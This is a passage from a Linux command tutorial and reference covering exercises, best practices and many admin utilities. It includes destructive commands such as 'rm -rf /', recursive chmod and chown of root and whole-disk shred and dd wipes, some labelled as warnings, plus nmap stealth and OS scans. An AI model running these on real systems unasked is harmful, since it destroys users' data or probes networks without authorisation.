echo "Linux is powerful" > ~/practice/test/notes.txt
cp ~/practice/test/notes.txt ~/practice/test/notes_backup.txt
rm ~/practice/test/notes.txt
Exercise 2: Process Management
# Find root processes
ps aux | grep '^root'
# Identify listening ports
ss -tulpn | grep LISTEN
# Check system uptime
uptime
who
last | head
Exercise 3: Text Processing
# Search logs
grep "error" /var/log/syslog | tail -20
# Count lines
wc -l /var/log/auth.log
# Extract IP addresses
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /var/log/auth.log | sort -u
Exercise 4: System Administration
# Create user
sudo useradd -m -s /bin/bash testuser
sudo usermod -aG sudo testuser
sudo passwd testuser
# SSH key setup
ssh-keygen -t ed25519
ssh-copy-id testuser@localhost
# Basic firewall
sudo ufw enable
sudo ufw allow 22
sudo ufw status
Common Mistakes to Avoid¶
Dangerous Commands
# NEVER run these without understanding
rm -rf /
chmod -R 777 /
chown -R user:user /
# Always verify paths
pwd
ls -la
# Then execute dangerous operations
Best Practices
- Always use
sudoinstead of logging in as root - Test commands with
--dry-runor-nflags when available - Make backups before modifying system files
- Read man pages before using unfamiliar commands
- Verify paths carefully with
pwdandlsbefore destructive operations
Learning Resources and Next Steps¶
Practice Platforms
- OverTheWire - Bandit wargame teaches Linux command line
- Linux Journey - Interactive tutorials for beginners
- Explain Shell - Visualize what commands do
Documentation
# Man pages
man command # Full manual
man -k keyword # Search man pages
apropos keyword # Find related commands
# Help options
command --help
command -h
# Info pages
info command
Online Resources
- Linux Documentation Project - tldp.org
- Arch Linux Wiki - Excellent technical documentation
- Ubuntu Documentation - ubuntu.com/server/docs
- Red Hat Documentation - access.redhat.com/documentation
Comprehensive Command Reference¶
This section provides in-depth coverage of essential Linux commands organized by functionality
Each command includes practical syntax , real-world examples , and security considerations
Extended File Operations¶
tree - Directory Structure Visualization
tree # Show directory tree
tree -L 2 # Limit depth to 2 levels
tree -d # Directories only
tree -a # Include hidden files
tree -f # Full path prefix
tree -p # Show permissions
tree -h # Human-readable sizes
tree -C # Colorize output
tree /var/log | less # Navigate large trees
stat - Detailed File Information
stat file.txt # Complete file metadata
stat -f file.txt # Filesystem information
stat -c "%a %n" file.txt # Permissions and name
stat -c "%s" file.txt # File size only
stat -c "%y" file.txt # Modification time
file - Determine File Type
file document.pdf # Identify file type
file -b image.jpg # Brief mode (no filename)
file -i data.bin # MIME type
file * # Check all files in directory
file -z compressed.gz # Look inside compressed files
basename and dirname - Path Manipulation
basename /path/to/file.txt # Returns: file.txt
basename /path/to/file.txt .txt # Returns: file
dirname /path/to/file.txt # Returns: /path/to
readlink - Resolve Symbolic Links
readlink symlink # Show link target
readlink -f symlink # Follow to final target
readlink -e file # Canonicalize existing path
mktemp - Create Temporary Files
mktemp # Create temp file in /tmp
mktemp -d # Create temp directory
mktemp /tmp/script.XXXXXX # Custom template
mktemp -u # Generate name without creating
TMPFILE=$(mktemp) && echo "data" > "$TMPFILE" # Use in scripts
shred - Secure File Deletion
shred -vfz -n 10 sensitive.txt # 10 passes , zero , verbose
shred -u secret.key # Overwrite and remove
shred /dev/sda # Wipe entire disk (DANGEROUS)
chattr and lsattr - Extended Attributes
chattr +i critical.conf # Make immutable
chattr +a log.txt # Append-only
chattr -R +i /etc/important/ # Recursive immutable
lsattr file.txt # View attributes
lsattr -d directory/ # Directory attributes
lsattr -R /etc | grep "\-\-\-\-i" # Find immutable files
cksum and md5sum - Checksums
cksum file.txt # CRC checksum
md5sum file.txt # MD5 hash
md5sum file.txt > file.txt.md5 # Save checksum
md5sum -c file.txt.md5 # Verify checksum
sha256sum file.txt # SHA256 (more secure)
sha512sum sensitive.data # SHA512 (most secure)
mc - Midnight Commander File Manager
mc # Launch file manager
mc /path/to/dir1 /path/to/dir2 # Open two directories
# F5 - Copy , F6 - Move , F8 - Delete , F10 - Quit
Compression and Archiving Commands¶
gzip and gunzip - Gzip Compression
gzip file.txt # Compress to file.txt.gz
gzip -k file.txt # Keep original
gzip -9 file.txt # Maximum compression
gzip -r directory/ # Recursive compression
gunzip file.txt.gz # Decompress
gunzip -c file.gz > output.txt # Decompress to stdout
zcat file.gz # View compressed file
zless file.gz # Page through compressed file
zgrep "pattern" file.gz # Search in compressed file
bzip2 and bunzip2 - Bzip2 Compression
bzip2 file.txt # Compress to file.txt.bz2
bzip2 -k file.txt # Keep original
bzip2 -9 file.txt # Best compression
bunzip2 file.txt.bz2 # Decompress
bzcat file.bz2 # View compressed file
bzless file.bz2 # Page through
bzgrep "pattern" file.bz2 # Search in compressed
zip and unzip - Zip Archives
zip archive.zip file1.txt file2.txt # Create zip
zip -r archive.zip directory/ # Recursive
zip -e secure.zip file.txt # Encrypt with password
zip -9 archive.zip files* # Maximum compression
unzip archive.zip # Extract all
unzip archive.zip -d /dest/ # Extract to directory
unzip -l archive.zip # List contents
unzip -t archive.zip # Test integrity
zipinfo archive.zip # Detailed information
tar - Tape Archive
tar -czf archive.tar.gz directory/ # Create gzipped tar
tar -cjf archive.tar.bz2 directory/ # Create bzipped tar
tar -cJf archive.tar.xz directory/ # Create xz compressed tar
tar -xzf archive.tar.gz # Extract gzipped
tar -xjf archive.tar.bz2 # Extract bzipped
tar -tzf archive.tar.gz # List contents
tar -xzf archive.tar.gz file.txt # Extract specific file
tar -czf - directory/ | ssh user@host "cat > backup.tar.gz" # Remote backup
cpio - Copy In/Out
find . -name "*.txt" | cpio -o > archive.cpio # Create archive
cpio -i < archive.cpio # Extract archive
ls | cpio -ov > archive.cpio # Verbose creation
cpio -idv < archive.cpio # Extract with verbosity
Advanced Text Processing¶
Column Formatting
column -t file.txt # Auto-format columns
column -s: -t /etc/passwd # Use : as separator
mount | column -t # Format mount output
Text Transformation
expand file.txt # Convert tabs to spaces
unexpand -a file.txt # Convert spaces to tabs
fold -w 80 file.txt # Wrap at 80 columns
fmt -w 100 file.txt # Reformat to 100 width
Text Comparison
cmp file1 file2 # Binary comparison
comm file1 file2 # Compare sorted files
comm -12 file1 file2 # Show common lines only
sdiff file1 file2 # Side-by-side comparison
diff3 file1 file2 file3 # Three-way comparison
Advanced Pattern Matching
egrep "pattern1|pattern2" file # Extended grep (same as grep -E)
fgrep "literal string" file # Fixed string (same as grep -F)
look word /usr/share/dict/words # Dictionary lookup
Spell Checking
aspell check document.txt # Interactive spell check
aspell list < file.txt # List misspellings
ispell file.txt # Alternative spell checker
Disk and Filesystem Utilities¶
fdisk - Partition Management
sudo fdisk -l # List all partitions
sudo fdisk /dev/sdb # Manage disk partitions
# Commands: n (new), d (delete), p (print), w (write), q (quit)
parted - Advanced Partitioning
sudo parted /dev/sdb print # Show partition table
sudo parted /dev/sdb mklabel gpt # Create GPT table
sudo parted /dev/sdb mkpart primary ext4 0% 100% # Create partition
sudo parted /dev/sdb resizepart 1 50GB # Resize partition
mkfs - Create Filesystems
sudo mkfs.ext4 /dev/sdb1 # Create ext4 filesystem
sudo mkfs.xfs /dev/sdb1 # Create XFS filesystem
sudo mkfs.vfat /dev/sdb1 # Create FAT32 filesystem
sudo mkfs.ext4 -L "DataDrive" /dev/sdb1 # With label
fsck - Filesystem Check and Repair
sudo fsck /dev/sdb1 # Check filesystem
sudo fsck -y /dev/sdb1 # Auto-repair
sudo e2fsck -f /dev/sdb1 # Force check ext4
sudo e2fsck -p /dev/sdb1 # Automatic safe repair
tune2fs - Ext Filesystem Tuning
sudo tune2fs -l /dev/sdb1 # Show filesystem info
sudo tune2fs -c 30 /dev/sdb1 # Check every 30 mounts
sudo tune2fs -L "NewLabel" /dev/sdb1 # Change label
sudo tune2fs -m 1 /dev/sdb1 # Reserve 1% for root
hdparm - Disk Performance
sudo hdparm -I /dev/sda # Disk information
sudo hdparm -t /dev/sda # Test read speed
sudo hdparm -Tt /dev/sda # Cache and disk read
sudo hdparm -W0 /dev/sda # Disable write cache
blkid - Block Device Attributes
blkid # All block devices
blkid /dev/sdb1 # Specific device
blkid -s UUID /dev/sdb1 # Get UUID only
blkid -s TYPE /dev/sdb1 # Get filesystem type
lsblk - List Block Devices
lsblk # List all block devices
lsblk -f # Show filesystems
lsblk -o NAME,SIZE,TYPE,MOUNTPOINT # Custom columns
lsblk -a # Show all devices
dd - Disk Copy and Conversion
sudo dd if=/dev/sda of=/dev/sdb bs=4M status=progress # Clone disk
sudo dd if=/dev/sda of=disk.img bs=4M # Create disk image
sudo dd if=disk.img of=/dev/sdb bs=4M # Restore image
sudo dd if=/dev/zero of=/dev/sdb bs=1M count=100 # Wipe first 100MB
sudo dd if=/dev/urandom of=file bs=1M count=10 # Create random file
mkswap and swapon - Swap Management
sudo mkswap /dev/sdb2 # Create swap area
sudo swapon /dev/sdb2 # Enable swap
sudo swapon -s # Show swap status
sudo swapoff /dev/sdb2 # Disable swap
mdadm - Software RAID Management
sudo mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sdb /dev/sdc
sudo mdadm --detail /dev/md0 # RAID status
sudo mdadm --add /dev/md0 /dev/sdd # Add spare disk
sudo mdadm --fail /dev/md0 /dev/sdb # Mark disk as failed
cat /proc/mdstat # Check RAID status
dumpe2fs - Ext Filesystem Info
sudo dumpe2fs /dev/sdb1 | less # View filesystem details
sudo dumpe2fs -h /dev/sdb1 # Superblock info only
badblocks - Check for Bad Sectors
sudo badblocks -v /dev/sdb1 # Read-only test
sudo badblocks -w /dev/sdb1 # Destructive write test
sudo badblocks -sv /dev/sdb1 # Show progress
Advanced Networking Commands¶
nmcli - NetworkManager CLI
nmcli device status # Show device status
nmcli connection show # List connections
nmcli connection up eth0 # Activate connection
nmcli connection down eth0 # Deactivate connection
nmcli device wifi list # List WiFi networks
nmcli device wifi connect SSID password PASSWORD # Connect to WiFi
ethtool - Network Interface Settings
ethtool eth0 # Interface info
sudo ethtool -s eth0 speed 1000 duplex full # Set speed/duplex
ethtool -i eth0 # Driver information
ethtool -S eth0 # Statistics
iwconfig - Wireless Configuration
iwconfig # Show wireless interfaces
iwconfig wlan0 # Specific interface info
sudo iwconfig wlan0 essid "NetworkName" # Set SSID
sudo iwconfig wlan0 mode managed # Set mode
iftop - Bandwidth Monitoring
sudo iftop # Real-time bandwidth
sudo iftop -i eth0 # Specific interface
sudo iftop -n # Show IP addresses
sudo iftop -P # Show ports
vnstat - Network Traffic Monitor
vnstat # Monthly statistics
vnstat -d # Daily statistics
vnstat -h # Hourly statistics
vnstat -l # Live monitoring
arpwatch - ARP Monitoring
sudo arpwatch -i eth0 # Monitor ARP activity
sudo arpwatch -f arp.dat # Use custom database
nmap - Network Scanning
nmap 192.168.1.1 # Basic scan
nmap -sn 192.168.1.0/24 # Ping sweep
nmap -p 1-65535 192.168.1.1 # All ports
nmap -sV 192.168.1.1 # Version detection
nmap -O 192.168.1.1 # OS detection
nmap -A 192.168.1.1 # Aggressive scan
nmap -sS 192.168.1.1 # SYN stealth scan
telnet - Remote Login (insecure)
telnet hostname 23 # Connect to telnet
telnet hostname 80 # Test HTTP port
# Type: GET / HTTP/1.0 then press Enter twice
ftp - File Transfer Protocol
ftp hostname # Connect to FTP
# Commands: ls, cd, get, put, mget, mput, quit
smbclient - SMB/CIFS Client
smbclient -L //server # List shares
smbclient //server/share -U username # Connect to share
# Commands: ls, cd, get, put, mget, mput, quit
System Monitoring and Performance¶
vmstat - Virtual Memory Statistics
vmstat 1 10 # Update every second, 10 times
vmstat -s # Memory statistics
vmstat -d # Disk statistics
vmstat -a # Active/inactive memory
iostat - I/O Statistics
iostat # Basic I/O stats
iostat -x 1 10 # Extended stats, 1 sec interval
iostat -c # CPU only
iostat -d # Disk only
iostat -p sda # Specific device
mpstat - CPU Statistics
mpstat # Overall CPU usage
mpstat -P ALL # Per-CPU statistics
mpstat 1 5 # Update every second, 5 times
sar - System Activity Reporter
sar -u 1 5 # CPU usage
sar -r 1 5 # Memory usage
sar -d 1 5 # Disk I/O
sar -n DEV 1 5 # Network statistics
sar -q 1 5 # Queue length and load average
pidof - Find Process ID
pidof sshd # Get PID of sshd
pidof -s nginx # Single PID only
pidof -x script.sh # Include scripts
pgrep - Process Grep
pgrep nginx # Find nginx processes
pgrep -u root # Root's processes
pgrep -l ssh # Show names too
pgrep -c apache2 # Count processes
tload - Load Average Graph
tload # Visual load average
tload -d 5 # 5 second delay
uptime - System Uptime
uptime # Show uptime and load
uptime -p # Pretty format
uptime -s # Since when
w - Who is Logged In
w # Show logged users
w username # Specific user
w -h # No header
dmesg - Kernel Messages
dmesg # All kernel messages
dmesg | tail # Recent messages
dmesg -T # Human-readable time
dmesg -l err # Errors only
dmesg -w # Follow mode
dmesg -c # Clear ring buffer
lshw - Hardware Information
sudo lshw # All hardware
sudo lshw -short # Brief format
sudo lshw -C network # Network hardware
sudo lshw -C disk # Disk hardware
sudo lshw -html > hardware.html # HTML report
lsusb - USB Devices
lsusb # List USB devices
lsusb -v # Verbose
lsusb -t # Tree format
lsusb -s 001:002 # Specific device
lspci - PCI Devices
lspci # List PCI devices
lspci -v # Verbose
lspci -k # Show kernel drivers
lspci | grep VGA # Graphics cards
dmidecode - DMI Table Decoder
sudo dmidecode # All DMI info
sudo dmidecode -t system # System information
sudo dmidecode -t processor # CPU information
sudo dmidecode -t memory # RAM information
sudo dmidecode -t bios # BIOS information
Process Control and Management¶
nice and renice - Process Priority
nice -n 10 command # Run with lower priority
nice -n -10 command # Higher priority (needs root)
renice 10 -p 1234 # Change priority of PID 1234
renice -10 -u username # Change for all user processes
nohup - Run Immune to Hangups
nohup command & # Run in background
nohup ./long_script.sh > output.log 2>&1 & # With output redirect
disown - Remove Job from Shell
command & # Start background job
jobs # List jobs
disown %1 # Remove job 1 from shell
disown -a # Disown all jobs
at - Schedule One-time Tasks
at now + 1 hour # Schedule in 1 hour
at 10:00 AM # Schedule at specific time
at now + 1 week # Schedule in 1 week
# Type commands, press Ctrl+D to save
atq # List scheduled jobs
atrm 1 # Remove job 1
batch - Run When Load is Low
batch # Queue commands
# Type commands, press Ctrl+D
# Runs when load average < 1.5
timeout - Run with Time Limit
timeout 10s command # Kill after 10 seconds
timeout 5m long_command # Kill after 5 minutes
timeout -k 10s 5m command # Grace period before force kill
User and Permission Management Extended¶
chage - Password Aging
sudo chage -l username # Show password info
sudo chage -M 90 username # Max 90 days password age
sudo chage -m 7 username # Min 7 days between changes
sudo chage -E 2024-12-31 username # Account expires on date
sudo chage -I 14 username # Lock after 14 days inactive
pwck and grpck - Verify Password Files
sudo pwck # Check /etc/passwd integrity
sudo grpck # Check /etc/group integrity
vipw and vigr - Safe Password Editing
sudo vipw # Edit /etc/passwd safely
sudo vigr # Edit /etc/group safely
getent - Get Entry from Databases
getent passwd username # User information
getent group groupname # Group information
getent hosts hostname # DNS lookup
getent services ssh # Service information
finger - User Information
finger username # User details
finger @hostname # Remote users
newgrp - Change Current Group
newgrp groupname # Switch to group
newgrp - # Switch to default group
gpasswd - Group Administration
sudo gpasswd -a username groupname # Add user to group
sudo gpasswd -d username groupname # Remove user from group
sudo gpasswd -A admin groupname # Set group administrator
sudo gpasswd -M user1,user2 groupname # Set group members
Package Management Extended¶
apt-cache - Package Information
apt-cache search keyword # Search packages
apt-cache show package # Package details
apt-cache policy package # Version and source info
apt-cache depends package # Show dependencies
apt-cache rdepends package # Reverse dependencies
dpkg - Debian Package Manager
dpkg -i package.deb # Install .deb package
dpkg -r package # Remove package
dpkg -P package # Purge package
dpkg -l # List installed packages
dpkg -L package # List files from package
dpkg -S /path/to/file # Find package owning file
dpkg-reconfigure package # Reconfigure package
rpm - RPM Package Manager
rpm -ivh package.rpm # Install with progress
rpm -Uvh package.rpm # Upgrade package
rpm -e package # Erase/remove package
rpm -qa # Query all packages
rpm -qi package # Package information
rpm -ql package # List files in package
rpm -qf /path/to/file # Find package owning file
rpm -V package # Verify package
snap - Snap Package Manager
snap find package # Search for packages
snap install package # Install snap
snap list # List installed snaps
snap refresh # Update all snaps
snap refresh package # Update specific snap
snap remove package # Remove snap
snap info package # Package information
flatpak - Flatpak Package Manager
flatpak search app # Search applications
flatpak install flathub app # Install from Flathub
flatpak list # List installed apps
flatpak update # Update all apps
flatpak uninstall app # Remove application
flatpak run app # Run application
Shell Scripting Utilities¶
read - Read Input
read -p "Enter name: " name # Prompt for input
read -s password # Silent input (passwords)
read -t 5 input # Timeout after 5 seconds
read -a array # Read into array
test and [ ] - Conditions
test -f file && echo "File exists" # Test file existence
[ -d directory ] && echo "Directory exists" # Test directory
[ -x script.sh ] && echo "Executable" # Test executable
[ "$var" = "value" ] && echo "Match" # String comparison
[ $num -gt 10 ] && echo "Greater than 10" # Numeric comparison
expr - Evaluate Expressions
expr 5 + 3 # Arithmetic
expr 10 \* 2 # Multiplication (escape *)
expr length "string" # String length
expr substr "hello" 1 2 # Substring
bc - Calculator
echo "5 + 3" | bc # Basic math
echo "scale=2; 10 / 3" | bc # Decimal places
echo "sqrt(16)" | bc -l # Square root
bc -l <<< "scale=4; 22/7" # Pi approximation
seq - Generate Sequences
seq 10 # 1 to 10
seq 5 10 # 5 to 10
seq 0 2 10 # 0 to 10 step 2
seq -s , 5 # Comma separator
yes - Repeat String
yes | command # Answer yes to all
yes no | command # Answer no to all
yes "text" | head -5 # Repeat custom text
sleep - Delay
sleep 5 # Sleep 5 seconds
sleep 5m # Sleep 5 minutes
sleep 0.5 # Sleep 0.5 seconds
System Configuration and Settings¶
timedatectl - Time and Date Management
timedatectl # Show current settings
timedatectl set-time "2024-11-28 12:00:00" # Set date and time
timedatectl set-timezone America/New_York # Set timezone
timedatectl list-timezones # List available timezones
timedatectl set-ntp true # Enable NTP
localectl - Locale Settings
localectl # Show locale settings
localectl list-locales # List available locales
localectl set-locale LANG=en_US.UTF-8 # Set system locale
localectl set-keymap us # Set keyboard layout
hostnamectl - Hostname Management
hostnamectl # Show hostname info
hostnamectl set-hostname new-hostname # Set hostname
hostnamectl set-hostname --static new-name # Set static hostname
hostnamectl set-hostname --transient temp-name # Set transient hostname
sysctl - Kernel Parameters
sysctl -a # List all parameters
sysctl net.ipv4.ip_forward # Show specific parameter
sysctl -w net.ipv4.ip_forward=1 # Set parameter temporarily
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf # Permanent
sysctl -p # Reload from config
modprobe - Kernel Module Management
modprobe module_name # Load module
modprobe -r module_name # Remove module
modprobe -c # Show configuration
modprobe -l # List available modules
lsmod - List Loaded Modules
lsmod # List all loaded modules
lsmod | grep module # Search for specific module
insmod and rmmod - Simple Module Management
sudo insmod /path/to/module.ko # Insert module
sudo rmmod module_name # Remove module
ulimit - Resource Limits
ulimit -a # Show all limits
ulimit -n 4096 # Set file descriptor limit
ulimit -u 2048 # Set process limit
ulimit -f unlimited # Set file size limit
alias and unalias - Command Shortcuts
alias ll='ls -alF' # Create alias
alias ..='cd ..' # Shortcut for parent dir
unalias ll # Remove alias
alias # List all aliases
export - Environment Variables
export PATH=$PATH:/new/path # Add to PATH
export VARNAME=value # Set variable
export -p # List all exports
unset VARNAME # Remove variable
Boot and System Control¶
shutdown - System Shutdown
sudo shutdown now # Shutdown immediately
sudo shutdown -h +10 # Shutdown in 10 minutes
sudo shutdown -r now # Reboot now
sudo shutdown -c # Cancel scheduled shutdown
sudo shutdown 20:00 # Shutdown at 8 PM
reboot - System Reboot
sudo reboot # Reboot immediately
sudo reboot -f # Force reboot
sudo reboot -p # Power off after reboot
halt and poweroff - System Halt
sudo halt # Halt system
sudo poweroff # Power off system
sudo halt -p # Power off after halt
systemctl - System Control
systemctl poweroff # Shutdown system
systemctl reboot # Reboot system
systemctl suspend # Suspend to RAM
systemctl hibernate # Hibernate to disk
systemctl hybrid-sleep # Hybrid suspend/hibernate
grub-install and update-grub - Bootloader
sudo grub-install /dev/sda # Install GRUB
sudo update-grub # Update GRUB config
sudo grub-mkconfig -o /boot/grub/grub.cfg # Generate config
Text Editors and Processing¶
vi/vim - Visual Editor
vi file.txt # Open file
# i - Insert mode
# Esc - Command mode
# :w - Save
# :q - Quit
# :wq - Save and quit
# :q! - Quit without saving
# /pattern - Search
# dd - Delete line
# yy - Copy line
# p - Paste
nano - Simple Editor
nano file.txt # Open file
# Ctrl+O - Save
# Ctrl+X - Exit
# Ctrl+K - Cut line
# Ctrl+U - Paste
# Ctrl+W - Search
emacs - Extensible Editor
emacs file.txt # Open file
# Ctrl+x Ctrl+s - Save
# Ctrl+x Ctrl+c - Exit
# Ctrl+k - Cut line
# Ctrl+y - Paste
# Ctrl+s - Search forward
ed - Line Editor
ed file.txt # Open file
# a - Append text
# i - Insert text
# d - Delete line
# w - Write file
# q - Quit
Development and Programming Tools¶
gcc and g++ - Compilers
gcc program.c -o program # Compile C program
gcc -Wall -g program.c -o program # With warnings and debug
g++ program.cpp -o program # Compile C++ program
g++ -std=c++17 program.cpp -o program # Specific C++ standard
make - Build Automation
make # Build using Makefile
make clean # Clean build artifacts
make install # Install built program
make -j4 # Parallel build (4 jobs)
gdb - Debugger
gdb program # Start debugger
# run - Run program
# break main - Set breakpoint at main
# step - Step into
# next - Step over
# continue - Continue execution
# print var - Print variable
# quit - Exit debugger
ldd - Library Dependencies
ldd /bin/ls # Show shared libraries
ldd -v program # Verbose output
ldd -u program # Unused dependencies
nm - Symbol Table
nm program # List symbols
nm -D library.so # Dynamic symbols
nm -g program # External symbols only
objdump - Object File Dump
objdump -d program # Disassemble
objdump -t program # Symbol table
objdump -h program # Section headers
readelf - ELF File Reader
readelf -h program # ELF header
readelf -S program # Section headers
readelf -s program # Symbol table
readelf -d library.so # Dynamic section
strings - Extract Strings
strings binary # Extract printable strings
strings -n 10 binary # Min length 10
strings -a binary # Scan entire file
git - Version Control
git init # Initialize repository
git clone url # Clone repository
git add . # Stage all changes
git commit -m "message" # Commit changes
git push origin main # Push to remote
git pull # Pull from remote
git status # Show status
git log # Show commit history
git branch # List branches
git checkout -b new-branch # Create and switch branch
git merge branch # Merge branch
git diff # Show changes
Miscellaneous Utilities¶
date - Date and Time
date # Current date and time
date "+%Y-%m-%d" # Custom format
date "+%Y-%m-%d %H:%M:%S" # With time
date -d "tomorrow" # Tomorrow's date
date -d "2 weeks ago" # Relative date
date -d @1234567890 # From timestamp
cal - Calendar
cal # Current month
cal 2024 # Year calendar
cal 12 2024 # Specific month
cal -3 # Three months
time - Measure Execution Time
time command # Time command execution
time ls -R / # Time directory listing
/usr/bin/time -v command # Detailed timing
watch - Execute Periodically
watch -n 1 command # Update every second
watch -d command # Highlight differences
watch df -h # Monitor disk usage
watch "ps aux | grep process" # Monitor processes
xargs - Build Commands
find . -name "*.txt" | xargs rm # Delete found files
echo "file1 file2" | xargs cat # Cat multiple files
ls | xargs -I {} mv {} {}.bak # Rename with pattern
find . -name "*.log" | xargs -n 1 gzip # Compress files one by one
tee - Read and Write
command | tee output.txt # Output to file and stdout
command | tee -a output.txt # Append to file
command | tee file1 file2 # Multiple files
script and scriptreplay - Record Sessions
script session.log # Start recording
# Do work
exit # Stop recording
scriptreplay -t timing.log session.log # Replay session
history - Command History
history # Show command history
history 20 # Last 20 commands
!123 # Execute command 123
!! # Execute last command
!string # Execute last command starting with string
history -c # Clear history
which and whereis - Locate Commands
which python # Show command path
which -a python # All instances
whereis ls # Binary, source, and man page
whereis -b ls # Binary only
whatis and apropos - Command Info
whatis ls # One-line description
apropos search # Search man pages
apropos -s 1 user # Search section 1 only
man and info - Documentation
man command # Manual page
man 5 passwd # Specific section
man -k keyword # Search by keyword
info command # Info page
info --vi-keys # Use vi-style keys
clear and reset - Terminal Control
clear # Clear screen
reset # Reset terminal
tput reset # Alternative reset
echo and printf - Output
echo "text" # Print text
echo -n "text" # No newline
echo -e "line1\nline2" # Interpret escapes
printf "%s %d\n" "text" 123 # Formatted output
printf "%-10s %5d\n" "name" 42 # With formatting
factor - Prime Factorization
factor 100 # Factor number
factor 1234567890 # Large number
units - Unit Conversion
units "5 meters" "feet" # Convert units
units -t "100 miles" "kilometers" # Terse output
hexdump and od - Binary Dumps
hexdump file.bin # Hex dump
hexdump -C file.bin # Canonical hex+ASCII
od -x file.bin # Octal dump hex format
od -c file.bin # Character dump
base64 - Encoding
echo "text" | base64 # Encode
echo "dGV4dAo=" | base64 -d # Decode
base64 file.bin > encoded.txt # Encode file
base64 -d encoded.txt > file.bin # Decode file
uuencode and uudecode - Unix-to-Unix Encoding
uuencode file.bin file.bin > encoded.uu # Encode
uudecode encoded.uu # Decode
iconv - Character Encoding Conversion
iconv -f ISO-8859-1 -t UTF-8 input.txt > output.txt # Convert encoding
iconv -l # List encodings
rev - Reverse Lines
echo "hello" | rev # Reverse characters
rev file.txt # Reverse each line
tac - Reverse File
tac file.txt # Reverse line order
tac file1.txt file2.txt # Multiple files
shuf - Shuffle Lines
shuf file.txt # Random order
shuf -n 5 file.txt # Output 5 random lines
shuf -e one two three # Shuffle arguments
split - Split Files
split -b 100M largefile part_ # Split by size
split -l 1000 file.txt part_ # Split by lines
split -n 5 file.txt part_ # Split into 5 files
join - Join Files
join file1.txt file2.txt # Join on first field
join -1 2 -2 1 file1.txt file2.txt # Join on different fields
join -t: -1 1 -2 1 file1.txt file2.txt # Custom delimiter